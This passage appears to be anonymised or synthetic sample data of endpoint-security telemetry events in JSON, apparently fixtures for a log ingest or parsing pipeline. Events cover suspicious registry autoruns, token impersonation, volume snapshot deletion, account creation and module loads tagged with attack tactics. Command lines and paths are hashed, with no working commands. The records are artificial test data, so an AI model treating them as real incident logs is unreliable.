5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\e108a27.exe","Entitlements":"76","name":"da8c933b9d11428ed052d2d5eb4c","aid":"ec58958430d6e12f5dfa327cad790e06","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SensitiveWmiQuery","UserName":"207ef664\\d621c1","ConfigStateHash":"2069001378","ContextProcessId":"2600380079010","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","WmiQuery":"8d8f8ea22b6bfbe801ecaaba1425c6a9d7","ClientComputerName":"9b0f0662","Entitlements":"96","name":"887f1bbf3206d18c959","EventOrigin":"1","id":"272b6e237d25b3c937239259405719619f9c","EffectiveTransmissionClass":"3","aid":"cfe278fcd1e293c7afdf3f1753b2d89e","WmiNamespaceName":"4813\\155e1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"b3f8252aa9cc6427351d20c3f33d3ae79e2e","RpcClientProcessId":"5080050038080","id":"8b25e606b146b0ecb0d734dc9eedcd5ef49f","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ServiceStarted","ContextTimeStamp":"1752557975.986","UserName":"9ce650c90","ConfigStateHash":"240271348","InterfaceVersion":"510063","RpcClientThreadId":"208220707353715","AuthenticationId":"830","ServiceDisplayName":"b0f9460","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"7f4e00945ff9549f18b040b9d6c84c6 -2 1c2833 -5 -9 b0f9460","TargetProcessId":"4007891768902","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\177d568.exe","RpcOpNum":"94","Entitlements":"76","name":"e9599fcf8f9c5676","aid":"8fb3daf730de8e73c353f0c4137a51b5","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-39243-24597-72335","ContextBaseFileName":"511ab7","FileCategory":"1","Size":"8200405","ContextThreadId":"90605908807000","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"064619a017259a2de5b5a7a60da71f28010aaa5134a07dc8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"1c2cb8d06c607d68fcb2877b0e000a683739","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SevenZipFileWritten","ContextTimeStamp":"1761079709.477","ConfigStateHash":"9080101000","ContextProcessId":"107208055010","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"56","name":"d4fd2d5cb305a8abdd140a","OperationFlags":"0","aid":"61cace3ec102dbde6e5eb08963b52e9c","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\ec1d12b\\e80c39c\\7d0c653b.tmp"} -{"event_simpleName":"SmbClientShareClosedEtw","ConfigStateHash":"9968901000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"6cfc77d1a6","Entitlements":"26","name":"0e883005214e1c97be512a900","EventOrigin":"45","id":"56cb5eb3321a430b24ba0bebef0335c0abf6","SmbShareName":"967ec0f7","EffectiveTransmissionClass":"3","aid":"f7e49d5e0a65ac9907089989782717df","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SmbClientShareOpenedEtw","ConfigStateHash":"804061009","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ClientComputerName":"e747bc","Entitlements":"36","name":"d226521607b20089974fab726","EventOrigin":"45","id":"be306cd8d3b6946b7798e88271cbf77dee2b","SmbShareName":"a4d268","EffectiveTransmissionClass":"3","aid":"e7e98921e91425b34501d7e91f6906b7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"07d8f4d","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"50820000","DomainName":"c53","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"86","name":"e1b2ed2cbfccda3de1aa6adee","EventOrigin":"45","id":"73dd5ae007d4fa5b059b77f3a112dd87b35f","SmbShareName":"d1","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SmbServerV1AuditEtw","ConfigStateHash":"4100830266","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","SmbClientName":"43194ec065b","event_platform":"Win","Entitlements":"76","name":"ba4a423304abd0ff28e43","EventOrigin":"45","id":"295a131e9dc1f5ef17daa6595049d55e40cf","EffectiveTransmissionClass":"3","aid":"c3ecc304b2ebc8216508373e45b2b7c6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"VolumeSessionUUID":"a3959a6c-5919-4ac3-a15a-2a320ad21a4e","ContextThreadId":"270025735200022","aip":"89.160.20.112","event_platform":"Win","VolumeDeviceObjectFlags":"420270500","VolumeFileSystemDevice":"\\e195","VolumeSnapshotName":"\\6ba0bd\\447b992c","VolumeIsEncrypted":"1","VolumeFileSystemDriver":"\\6b634d3d\\e195","VolumeDeviceCharacteristics":"0","id":"42736e4684d2a23274632e48769919984ae5","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"SnapshotVolumeMounted","VolumeName":"\\6ba0bd\\c1eb8062","VolumeSnapshotTimeStamp":"1748508106.387","ContextTimeStamp":"1754395342.498","VolumeSectorSize":"940","ContextProcessId":"5209000050507","VolumeRealDeviceName":"\\6ba0bd\\c1eb8062","VolumeLabel":"d598026","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"36","name":"2ab84c7f9e501a2854c7e357","aid":"7bf30749173dbd091654e80c365263d2","cid":"4092825518eaf67377a6e4492ae44577"} -{"Status":"0","event_simpleName":"SuspiciousCreateSymbolicLink","ContextTimeStamp":"1761034473.549","SymbolicLinkName":"\\ae81c232\\6b8a","ConfigStateHash":"8200073020","ContextProcessId":"230000690074863000","aip":"216.160.83.56","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"","SymbolicLinkTarget":"\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4","DesiredAccess":"180051","PatternId":"7000","ImageFileName":"\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe","Entitlements":"46","name":"6a8d935023cdc21ff9cca3537d2780","EventOrigin":"1","id":"c5355e5f32b043d778a5628a9817ed603fe9","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1748097171.316","ConfigStateHash":"4080600092","ContextProcessId":"5004051100005","DomainName":"da624cbc09cb196e3c026","ContextThreadId":"306930070760507","aip":"216.160.83.56","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","DualRequest":"1","Entitlements":"76","name":"cecd6d00633889a0e5140e","EventOrigin":"1","id":"8d4c70642deafa7c185dae1766913cc2b684","EffectiveTransmissionClass":"3","aid":"e0391be8776b91e27451ffc78839341a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"} -{"ContextThreadId":"908900717009000","aip":"81.2.69.142","RegObjectName":"\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"1","RegKeyName":"","event_platform":"Win","TargetCommandLineParameters":"8 829462947afcd60b102 5385ab5330ba103afe7","PatternId":"730","RegConfigValueType":"0","RegConfigFlags":"0","EventOrigin":"1","id":"6a3e0c317c79a163daff6f7ff43b0f8b638f","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7","RegConfigClass":"40","timestamp":"1743508799999","event_simpleName":"SuspiciousRegAsepUpdate","ContextTimeStamp":"1750976386.666","ConfigStateHash":"9968901000","ContextProcessId":"6460070801000","RegType":"1","RegConfigIndex":"1","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17","CommandLine":"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe","TargetSHA256HashData":"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462","ImageFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe","Entitlements":"16","name":"d6768a557290bddc8f464a531","aid":"f7e49d5e0a65ac9907089989782717df","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe"} -{"ImpersonatedUserName":"9bf10282","event_simpleName":"TokenImpersonated","OriginalParentAuthenticationId":"891487","ConfigStateHash":"3440491101","ContextProcessId":"2000535704803","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ParentAuthenticationId":"221030","PatternId":"830","OriginalUserName":"3d0d64ac1d9faf","Entitlements":"56","name":"4b8f55f326fbe33b3cf","EventOrigin":"1","id":"d1330c5a8472345299901dcafcb6e741c04f","EffectiveTransmissionClass":"3","aid":"8ac4bf42d697d6476a2087a305f0a8a7","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","OriginalUserSid":"S-33232-15769-33973-56426-34173-11558-64704-78944"} -{"SignatureErrorState":"36","ModuleCharacteristics":"7600","ContextThreadId":"0","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","SignatureState":"0","MappedFromUserMode":"1","EventOrigin":"1","id":"fbdd0412d2d062a8e7f05ca768974728fd13","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"UnsignedModuleLoad","ContextTimeStamp":"1757609447.289","ConfigStateHash":"1003503072","ContextProcessId":"9000960041280","SHA256HashData":"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1","ExtendedKeyUsages":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"4000960041280","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll","Entitlements":"26","name":"7218b6fd46f62d142cab","aid":"748b16033ae2f04b415a38442969be05","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserAccountAddedToGroup","ContextTimeStamp":"1758546284.942","ConfigStateHash":"710307050","InterfaceVersion":"30255","GroupRid":"53034222","aip":"81.2.69.192","RpcClientThreadId":"274278017040400","ConfigBuild":"2c8b.4.ae3729d.e6","UserRid":"04f8c66f","event_platform":"Win","DomainSid":"S-76712-65017-53475-35458-99339-49376","RpcOpNum":"30","Entitlements":"46","name":"6f757290de34b1b1afde18238","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"4040097800001","id":"4c0cf1755eaa94d6f52251e3d52f5ff6902f","EffectiveTransmissionClass":"3","aid":"822724472847066e07121bc67f0675c0","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserAccountCreated","ContextTimeStamp":"1761033186.899","UserName":"dcf80328","ConfigStateHash":"2015000411","InterfaceVersion":"50255","aip":"89.160.20.112","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"90dd1c44","event_platform":"Win","RpcOpNum":"70","Entitlements":"86","name":"92d863b43efb433535db","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","id":"bd490a761a3f397c1a778b589441993b3091","EffectiveTransmissionClass":"3","aid":"ea33b281ab769f0d09855298c2b43f40","RpcNestingLevel":"1","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserAccountDeleted","ContextTimeStamp":"1746147684.771","UserName":"6621349aab8086fca29","ConfigStateHash":"2080025170","InterfaceVersion":"60255","aip":"89.160.20.128","RpcClientThreadId":"127103017599004","ConfigBuild":"2c8b.4.bab7095.e6","UserRid":"77bd1eaf","event_platform":"Win","RpcOpNum":"90","Entitlements":"76","name":"0b8f5280c9729fa19531","EventOrigin":"1","InterfaceGuid":"16517693cc50d618b7a2250bd5ecb896739b","RpcClientProcessId":"7301001105000","id":"3229287b6fe92ef5336c913502cf9ef8fdf3","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","RpcNestingLevel":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserExceptionDEP","ContextTimeStamp":"1750019709.552","ConfigStateHash":"3440491101","ContextProcessId":"1635100019002","FullExceptionRecord":"5d14ed407e29b2a4faf1a84e5b18504d02c670a34dee3f51a7fa3fc95ff8d263","FullContext":"","ContextThreadId":"34508563003090","aip":"216.160.83.56","BoundingLimitCount":"2","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ExceptionAddress":"1700460906","BoundingLimitDuration":"9486640","Entitlements":"66","name":"709aee1e8c3c110bf8","ExceptionInformation0":"8","EventOrigin":"1","id":"5829a31e854865b7f675feb7d878b239adc2","ExceptionCode":"5205000410","EffectiveTransmissionClass":"3","aid":"c98cd5436ddf270308dd9d267fd914a0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserFontLoad","ContextTimeStamp":"1753137217.791","ConfigStateHash":"6080600092","ContextProcessId":"8108160208087","ContextThreadId":"680008007040906","aip":"89.160.20.112","BoundingLimitCount":"3","FontBufferLength":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","FontFileCount":"1","BoundingLimitDuration":"9486640","Entitlements":"66","name":"be33367389afc8","FontLoadOperation":"0","EventOrigin":"1","FontBuffer":"0","id":"3b3a10fec73cc70efcba7d10700c60647a00","FontFileName":"\\e2\\82\\6b0cc\\15dad1a2\\0f51ad6\\8c31e\\c7bac469\\a39f4a16\\4\\6ad6049f\\51833\\fce70f15.ttf","EffectiveTransmissionClass":"3","aid":"30fcb474d1c19854928cfea68625715f","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"UserIsAdmin":"0","LogonTime":"1745963859.717","UserCanonical":"","ContextThreadId":"95004910750900","aip":"81.2.69.192","LogonDomain":"6e","RemoteAccount":"0","UserSid":"S-63628-61824-76998-75961-49681-10653-90491","event_platform":"Win","UserFlags":"0","EventOrigin":"1","LogonServer":"","id":"ffafe1a8278f88b8c976d452dc465830bd1c","EffectiveTransmissionClass":"2","LogonId":"6270089006","SessionId":"0","timestamp":"1743508799999","event_simpleName":"UserIdentity","UserName":"395963bcc1c482b8ac","ConfigStateHash":"3440491101","ContextProcessId":"6990300009751","ResendToCloud":"0","LogonType":"3","AuthenticationPackage":"43c19a09","UserPrincipal":"","AuthenticationId":"5270089006","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"","Entitlements":"66","name":"6843b5d61bb2e5","UserLogonFlags":"0","aid":"443de0bbc349316f0d394439c57beaba","cid":"4092825518eaf67377a6e4492ae44577"} -{"UserIsAdmin":"1","LogoffTime":"1745913154.660","LogonTime":"1745989529.811","aip":"216.160.83.56","LogonDomain":"742a2b40","RemoteAccount":"0","UserSid":"S-5282-72526-65462-33571-94897-74826-26210","event_platform":"Win","UserFlags":"230","EventOrigin":"1","LogonServer":"742a2b40","id":"d42b0220749ccf3c12046d08207cd42e3e36","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogoff","UserName":"e00908ad","ConfigStateHash":"3440491101","LogonType":"4","AuthenticationPackage":"80af","AuthenticationId":"9134169010","UserPrincipal":"","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1677255764.322","UserLogoffType":"3","Entitlements":"66","name":"035509012de2","UserLogonFlags":"6","aid":"e4b4d652bb68d0b6eaf25c3a357bd566","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"610009300097503","aip":"81.2.69.142","LogonDomain":"6e","event_platform":"Win","ClientComputerName":"98ecc4","EventOrigin":"1","id":"abcd637574e3e621a022d447ce47204dcb70","SubStatus":"2782800370","EffectiveTransmissionClass":"2","timestamp":"1743508799999","Status":"7810500605","event_simpleName":"UserLogonFailed2","RawProcessId":"173","ContextTimeStamp":"1756065940.160","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","EtwRawProcessId":"273","ContextProcessId":"2014546000418","LogonType":"3","EtwRawThreadId":"9360","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3014546000418","Entitlements":"46","name":"ed7b4a3a01737761db","aid":"82e84213f5e5ad2820ee7b0f905b8f43","RemoteAddressIP4":"216.160.83.56","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"UserLogonFailed","ContextTimeStamp":"1746839239.892","UserName":"6cc6d9fae629fd277","ConfigStateHash":"7800020060","ContextProcessId":"2014546000418","LogonTime":"","ContextThreadId":"610009300097503","aip":"81.2.69.192","UserSid":"S-25871-2981-333","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PasswordLastSet":"","TreeId":"929834768029","Entitlements":"16","name":"9d199e1f177dd175a","EventOrigin":"1","UserLogonFlags":"1","id":"498499842694e5b09e8a1c4abfe2eb414696","EffectiveTransmissionClass":"2","aid":"82e84213f5e5ad2820ee7b0f905b8f43","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"UserIsAdmin":"1","LogonTime":"1745948887.174","ContextThreadId":"500010382010308","aip":"216.160.83.56","LogonDomain":"6e","RemoteAccount":"1","UserSid":"S-46253-20659-68776-75234-87277-33222-58161","event_platform":"Win","UserFlags":"52","ClientComputerName":"d51a37d47316ea","EventOrigin":"1","LogonServer":"be2c2f","id":"064eb67301d3224008ad7aee62c85ce3b9f2","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"UserLogon","ContextTimeStamp":"1759677701.966","UserName":"a7b663ef867","ConfigStateHash":"3440491101","ContextProcessId":"1776052010570","LogonType":"4","PrivilegesBitmask":"900780039900","AuthenticationPackage":"43c19a09","AuthenticationId":"4084727020","UserPrincipal":"testuser@test.com","ConfigBuild":"2c8b.4.ae3729d.e6","PasswordLastSet":"1559926561.421","Entitlements":"56","name":"184e1f7f8f1","UserLogonFlags":"0","EnabledPrivilegesBitmask":"2034200020","aid":"43efa5759b9c618d8565a64ba39b729c","UserGroupsBitmask":"8043300404","cid":"4092825518eaf67377a6e4492ae44577"} -{"ContextThreadId":"100445831083903","aip":"89.160.20.112","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"fa20370b2cc4c0e88d161f705a2bba7fbe37","RpcClientProcessId":"4000150007426","id":"f6b9775ac6046bae94a4121496a6896a86f6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotCreated","ContextTimeStamp":"1749838695.450","UserName":"481403faf1d","ConfigStateHash":"892001000","ContextProcessId":"3093093002701","InterfaceVersion":"0","RpcClientThreadId":"680008401000314","AuthenticationId":"830","ConfigBuild":"2c8b.4.bab7095.e6","RpcOpNum":"8","Entitlements":"16","name":"20c2ece111ed142fd2567b9","aid":"3dc8ee79410457af4c28499efe37b5bc","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a"} -{"ContextThreadId":"449040000360080","aip":"81.2.69.142","VolumeDriveLetter":"82","event_platform":"Win","TokenType":"1","VolumeSnapshotName":"\\6ba0bd\\8536f344","EventOrigin":"1","InterfaceGuid":"48e8e6085fac8e183337f9647e2623b38023","RpcClientProcessId":"5000504040107","id":"00d920a4c248b10173113fc4155a74b4b655","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"VolumeSnapshotDeleted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1760029340.183","UserName":"580d88d","ConfigStateHash":"7800020060","ContextProcessId":"8000830008430","InterfaceVersion":"0","RpcClientThreadId":"914521090820021","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","RpcOpNum":"40","Entitlements":"26","name":"1523f0687a552764e446cf1","aid":"10ee42b0c65b014b6197f3d92782c4ad","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"WmiCreateProcess","ContextTimeStamp":"1760910207.570","UserName":"f3c32fdf5aef1041","ConfigStateHash":"450007109","aip":"81.2.69.192","RpcClientThreadId":"5500404207604","BoundingLimitCount":"1","AuthenticationId":"400605500","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","CommandLine":"43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"","TokenType":"2","TargetProcessId":"341000415765","BoundingLimitDuration":"1486640","ImageFileName":"\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe","Entitlements":"86","name":"4d986d3e22110751d0","EventOrigin":"1","RpcClientProcessId":"901070429000","id":"4fd1a6718f8c7a25e6af1b5af89b5565a443","EffectiveTransmissionClass":"3","aid":"8bba3f79ae72c48db0721bce1cc23f47","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"81.2.69.144","WmiProviderType":"425f2336","event_platform":"Win","PatternId":"260","ClientComputerName":"f2752e89","EventOrigin":"1","id":"08b4a44cd2f229eadaa6f64169deb30db7f7","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"WmiProviderRegistrationEtw","ContextTimeStamp":"1746785661.429","UserName":"207ef664\\d621c1","ConfigStateHash":"750096004","WmiProviderName":"\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8","EtwRawProcessId":"4080","ContextProcessId":"9977300700005","ConfigBuild":"2c8b.4.bab7095.e6","CommandLine":"82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe","Entitlements":"76","name":"256ae77a9371219d15d0ae429aae","ProcessStartTime":"1745961781.179","PerformanceCounter":"c0350cfa279c5991","aid":"fe88182661659af8a192fac5db624574","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"WroteExeAndGeneratedServiceEvent","ConfigStateHash":"710307050","ContextProcessId":"48146963060067","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"16","name":"993018c29291eaa31ad975c11fbbae3390","EventOrigin":"1","id":"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4","EffectiveTransmissionClass":"3","aid":"945a25b2d8f219a0693641fa5daeb3c4","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-43058-61586-47269","ContextBaseFileName":"7b31c1d240b3d","FileCategory":"1","Size":"7000060","ContextThreadId":"200084098009700","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\23579bbe","id":"2b0434b299dc23d3e66d5af40855f712e176","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ZipFileWritten","ContextTimeStamp":"1760526628.961","ConfigStateHash":"9080101000","ContextProcessId":"356301901002","IrpFlags":"0","AuthenticationId":"329","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"76","name":"736782612c55c54fc","OperationFlags":"0","aid":"3e64efce7e8a490b018d335f25b68760","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp"} -{"ImageSignatureType":"0","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} -{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"0","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} -{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} 